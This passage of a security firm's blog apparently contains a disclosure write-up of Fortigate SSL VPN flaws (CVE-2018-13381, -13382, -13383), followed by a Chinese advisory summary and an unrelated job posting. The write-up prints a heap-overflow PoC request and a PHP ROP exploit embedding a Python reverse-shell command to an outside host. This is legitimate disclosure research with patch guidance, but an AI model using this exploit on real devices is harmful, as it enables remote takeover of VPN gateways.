While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is &#60; and this should occupies 5 bytes. If it encounter anything starts with &#, such as &#60;, it consider there is a token already encoded, and count its length directly. Like this:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.

switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

If we input a malicious string like &#<<<;, the < is still encoded into &#60;, so the result should be &#&#60;&#60;&#60;;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.

PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382: The magic backdoor

In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.

According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!

Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4

— Code White GmbH (@codewhitesec) 2019年7月2日

CVE-2018-13383: Post-auth heap overflow

This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:

memcpy(buffer, js_buf, js_buf_len);

The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.

Exploitation

The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.

CVE-2018-13381

Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.

  • Single thread, single process, single allocator The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
  • Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
  • Apache additional memory management. The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
  • JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.

We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!

CVE-2018-13379 + CVE-2018-13383

This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.

  • Gain authentication We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.

  • Get the shell After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.

    Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.

    We got an interesting crash. To our great surprise, we almost control the program counter!

    Here is the crash, and that’s why we love fuzzing! ;)

      Program received signal SIGSEGV, Segmentation fault.
      0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
      2: /x $rax = 0x41414141
      1: x/i $pc
      => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
      (gdb)
    

    The crash happened in SSL_do_handshake()

      int SSL_do_handshake(SSL *s)
      {
          // ...
    
          s->method->ssl_renegotiate_check(s, 0);
    
          if (SSL_in_init(s) || SSL_in_before(s)) {
              if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
                  struct ssl_async_args args;
    
                  args.s = s;
    
                  ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
              } else {
                  ret = s->handshake_func(s);
              }
          }
          return ret;
      }
    

    We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.

    This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.

    We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.

    Here we put our php PoC on an HTTP server:

      <?php
          function p64($address) {
              $low = $address & 0xffffffff;
              $high = $address >> 32 & 0xffffffff;
              return pack("II", $low, $high);
          }
          $junk = 0x4141414141414141;
          $nop_func = 0x32FC078;
    
          $gadget  = p64($junk);
          $gadget .= p64($nop_func - 0x60);
          $gadget .= p64($junk);
          $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64($junk);
          $gadget .= p64($junk);
          $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
          $gadget .= p64(0x58);
          $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
          $gadget .= p64(0x1366639); // call system ;
          $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
    
          $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
          $p .= $gadget;
          $p .= str_repeat('A', 0x1000 - strlen($gadget));
          $p .= $gadget;
      ?>
      <a href="javascript:void(0);<?=$p;?>">xxx</a>
    

    The PoC can be divided into three parts.

    1. Fake SSL structure The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:

       push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      

      So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.

    2. ROP chain The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
    3. Overflow string Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.

    Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.

Demo

Timeline

  • 11 December, 2018 Reported to Fortinet
  • 19 March, 2019 All fix scheduled
  • 24 May, 2019 All advisory released

Fix

Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.

Fortigate SSL VPN 資安通報

8 August 2019 at 16:00

內容

上一篇 SSL VPN 研究系列文我們通報了在 Palo Alto GlobalProtect 上的 RCE 弱點,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:

  • CVE-2018-13379: Pre-auth arbitrary file reading
  • CVE-2018-13380: Pre-auth XSS
  • CVE-2018-13381: Pre-auth heap overflow
  • CVE-2018-13382: The magic backdoor
  • CVE-2018-13383: Post-auth heap overflow

透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。

此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。

在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

附註

這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 pwnie for best server-side bug(年度最佳伺服器漏洞)。

[已結束] DEVCORE 徵求行政專員

22 July 2019 at 16:00

戴夫寇爾即將滿七年了,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

在 2015 年我們曾經公開徵求一位行政出納人才,後來經過層層的履歷審核、筆試、面試,終於順利找到一位經驗豐富且值得信賴的生活駭客,成為我們最強而有力的後勤伙伴。但是隨著團隊人數增長、業務規模大幅增加、事務分工專業化,行政部門的眾多工作已經無法由單一人力獨自負荷。

因此今年我們再度公開招募行政人才,希望能夠找到一位行政專員,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

  • 庶務性行政工作 50%
    • 人員接待,例如:電話接聽、來訪人員接待
    • 文件收發,例如:郵務作業、快遞服務
    • 檔案管理,例如:名片掃描、合約掃描、範本檔案格式調整
    • 資料蒐集,例如:各類公司業務需求資料查找
  • 總務工作 20%
    • 辦公室各類用品採買
    • 辦公室環境維護
  • 採購工作 15%
    • 設備採購管理
    • 服務供應商管理
  • 人事工作 5%
    • 保險事務,例如:團體保險、旅遊不便險
    • 差旅行程,例如:交通票券訂購、簽證辦理
    • 教育訓練安排
  • 其他主管交辦事項 10%

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓 (捷運南京復興站 8 號出口,走路約 3 分鐘)

人格特質偏好

  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 擅長邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達自己的想法。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

工作條件要求

  • 需有三年以上行政相關工作經驗
  • 熟悉 Google Sheets 操作,且具獨立撰寫試算表公式的能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務。
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好。
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題。

工作環境

  • 您會在一個開闊的辦公環境工作 DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅 DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣 DEVCORE DART

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 34,000 - 40,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 行政專員 您的姓名(範例:[應徵] 行政專員 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。最快將於八月中進行第二階段的線上測驗,煩請耐心等候。 由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。

我們選擇優先在部落格公布徵才資訊,是希望您也對資訊安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。無論如何,我們都感謝您的來信,期待您的加入!

❌
❌